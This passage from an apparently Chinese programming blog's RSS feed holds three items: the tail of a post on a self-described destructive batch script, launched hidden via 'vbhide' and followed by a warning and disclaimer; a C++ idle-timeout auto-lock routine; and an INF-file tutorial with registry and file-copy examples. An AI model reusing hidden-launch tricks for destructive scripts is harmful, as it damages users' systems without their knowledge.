批处理程序名&quot;,vbhide&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;在此告诫大家,如果碰到陌生的批处理文件或可疑程序千万别去运行它.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;声明:以上代码具有破坏性,如因以此代码所受到的损失本人概不负责. &nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=779]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:14:22 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[软件在指定时间间隔内无鼠标移动键盘点击等动作自动锁定的实现]]></title>
  <description><![CDATA[<span style="font-size: 13px;">/************************************************************************/&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;/* 说明：&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;调用函数GetLastInputInfo()以后, 结构成员lpi.dwTime 中的值并非上次输入事件&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;发生以后的毫秒数。而是上次输入事件发生时的系统运行时间。相当于上次输入事件&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;发生时执行了lpi.dwTime=::GetTickCount()。&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::GetTickCount()-lpi.dwTime才是上次输入事件发生以后的毫秒数。&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;*/&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;/************************************************************************/&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;//注意：windows2000以上系统才支持函数GetLastInputInfo()因此有可能需要在StdAfx.h中加上如下语句：&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;#define _WIN32_WINNT 0x0500&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;//或者：&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;#ifdef _WIN32_WINNT&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;#undef _WIN32_WINNT&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;#endif&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;#define _WIN32_WINNT 0x0500&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;//首先定义一个计时器计时事件的定义&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;#define&nbsp;&nbsp;GETLASTINPUTINFO&nbsp;&nbsp;109&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;//然后写一个Time计时器（具体计时器的生成步骤就不在叙述）&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;//1、在程序初始化的时候调用&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;m_uGetLastInputInfo = SetTimer(GETLASTINPUTINFO, 500, NULL);//设置获取键盘和鼠标处于空闲状态的时间的计时器&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;//2、处理函数&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;void CNetAppSoftDlg::OnTimer(UINT nIDEvent)&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;LASTINPUTINFO lpi;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;DWORD dwTime = 0;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;switch(nIDEvent)&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;case GETLASTINPUTINFO://zhouzx 获取键盘和鼠标处于空闲状态的时间&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;lpi.cbSize = sizeof(lpi);&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;GetLastInputInfo(&amp;lpi);//关于此windows API接口的介绍，参见同文件夹下的文档&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;dwTime = ::GetTickCount()-lpi.dwTime;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if (dwTime &gt;= 30000)//30秒&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if (m_uGetLastInputInfo)&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;KillTimer(GETLASTINPUTINFO);&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;OnBnClickedButtonLock();&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;default:&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;CDialog::OnTimer(nIDEvent);&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;//3、在软件解锁后的地方重新开始新的计时&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;m_uGetLastInputInfo = SetTimer(GETLASTINPUTINFO, 500, NULL);&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;//4、在推出软件的时候，如果计时器没有停止，要关闭计时器&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if (m_uGetLastInputInfo)&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;//结束获取键盘和鼠标处于空闲状态的时间定时器&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;KillTimer(GETLASTINPUTINFO);&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=777]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:12:42 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[明明白白Inf文件]]></title>
  <description><![CDATA[<span style="font-size: 13px;">INF文件全称Information File文件，是Winodws操作系统下用来描述设备或文件&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;等数据信息的文件。INF文件是由标准的ASCII码组成，您可以用任何一款文字编辑器查&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;看修改其中的内容。一般我们总是认为INF文件是系统设备的驱动程序，其实这是错误的&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;认识，Windows之所以在安装某些硬件的驱动时提示需要INF文件是因为INF文件为该设&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;备提供了一个全面描述硬件参数和相应驱动文件(DLL文件)的信息。就好比我们看着说&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;明书安装电脑硬件一样，我们就是Windows系统，说明书就是INF文件。INF文件功能非&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;常强大，几乎能完成日常操作的所有功能。您可以把它看成是Windows系统底下的超强&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;批初理。要熟练掌握和理解甚至是编写INF文件需要对其内部结构有相当的认识。下面&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;就让我们来深入到INF文件中的内部一窥其真面貌吧！&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　INF文件的组成有节(Sections)，键(Key)和值(value)(图示一)三部分。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;关键节有&#091;Version&#093;版本描述信息，主要用于版本控制。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　　 &#091;Strings&#093;字符串信息，用于常量定义。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　　　&#091;DestinationDirs&#093;定义系统路径信息。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　　　&#091;SourceDisksNames&#093;指明源盘信息。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　　　&#091;SourceDisksNames&#093;指明源盘文件名。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;DefaultInstall&#093;开始执行安装。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;其它的节可以自定义，下面用一实例来具体讲解。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;Version&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Signature=$Chicago$&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Provider=%Author%&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;Strings&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Product=&quot;添加文件关联演示&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Version=&quot;1.0&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Author=&quot;李飞&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Copyright=&quot;Copyright?2002 by Rainsoft&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;CustomFile=&quot;inf&quot; ;修改您需要的文件名后缀&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Program=&quot;NOTEPAD.EXE&quot; ;修改您需要关联的应用程序名&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;Add.Reg&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKCR,&quot;.&quot;%CustomFile%,&quot;&quot;,FLG_ADDREG_TYPE_SZ ,%CustomFile%File&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKCR,%CustomFile%File,&quot;&quot;,FLG_ADDREG_TYPE_SZ,安装信息&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKCR,%CustomFile%&quot;Fileshell&quot;,&quot;&quot;,FLG_ADDREG_TYPE_SZ,open&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKCR,%CustomFile%&quot;Fileshellopencommand&quot;,&quot;&quot;,FLG_ADDREG_TYPE_SZ,%program% %1&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;DefaultInstall&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;AddReg=Add.Reg&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　在&#091;Version&#093;节中&quot;Signature&quot;项定义了该INF文件需要运行在何种操作系统版本中。有&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;$Windows NT$, $Chicago$, or $Windows 95$三个值供选择，一般选择$Chicago$即可。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;项Provider中定义了该文件的创作来源，%Author%指Author项的值。您也可自定其它项&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;来描述该INF文件的版本信息。该INF文件的作用是关联文件，所以主要是对注册表的操作，&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;我们来看&#091;Add.Reg&#093;节，共四条语句，格式都是一样。HKCR表示根HKEY_CLASSES_ROOT，第二&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;个参数是子键的路径名，第三个参数是表明值的类型，最后是值(具体见附表)。以上都是对操&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;作的定义与过程，在节&#091;DefaultInstall&#093;中是开始执行要安装的流程，AddReg表明是对注册&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;表进行操作，操作对象是Add.Reg节中的定义。如果您把AddReg换成DelReg则是删除注册表中&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;的键值。当鼠标单击该INF文件在弹出的菜单中选择“安装”就开始执行您所定义的操作。该&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;示例在系统的INF文件右键菜单中增加了查看编辑功能并设置了默认动作，因为在安装了不了&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;解的INF文件有可能对系统产生不良的影响，这样双击文件就可打开编辑该文件了。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　在看看INF文件在文件操作方面的能力吧。请看下面的一个例子。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;Version&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Signature=$Chicago$&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Provider=%Author%&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;Strings&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Product=&quot;文件复制和安装演示&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Version=&quot;1.0&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Author=&quot;薛飞&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Copyright=&quot;Copyright?2002 for Rainstorey&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;FileList&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ProcessList.exe ;此文件已在当前目录下，下同。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;FileList1&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Wordpad.exe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;DestinationDirs&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;FileList=11 ;安装到Windows的系统目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;FileList1=10 ;安装到Windows目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;DefaultInstall&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Copyfiles=FileList,FileList1&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　相同的节的作用与上一例类似，请注意新出现的节&#091;FileList&#093;，这是我自定义的节名，它表&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;示了一个文件组，&#091;FileList1&#093;也类似。在节&#091;DestinationDirs&#093;中需定义每个文件组复制到的&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;目录(各个常量的意义见附表)。Copyfiles指明了需要进行复制的文件组。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　INF文件的操作还包括服务(NT系统)程序的安装和卸载，INI文件的转换等。由于这些操作都&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;比较的复杂和繁琐，且有一定的危险性故下次有机会再向大家进行深入探讨。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　最后我们来看一下INF文件的执行机制，这时你也许要问不就是简单的执行一下“安装”吗？&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;知其然不知其所以然知识水平是不会提高的。在“文件夹选项”中的“文件类型”找到INF文件的&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;“安装”命令看到一串命令。“rundll32.exe setupapi,InstallHinfSection DefaultInst_&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;all 132 %1”它表示了运行Dll文件setupapi.dll中的命令InstallHinfSection并传递给它起始&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;节的名字 DefaultInstall。可见起始节是可以自定义的。INF文件的执行也可用在各种支持API调&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;用的编程工具中。至此INF文件的结构和运行机制我们已基本了解，现在就让你的思维开动起来，让&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;它更好的为我们工作吧。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;注册表操作的常量定义：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 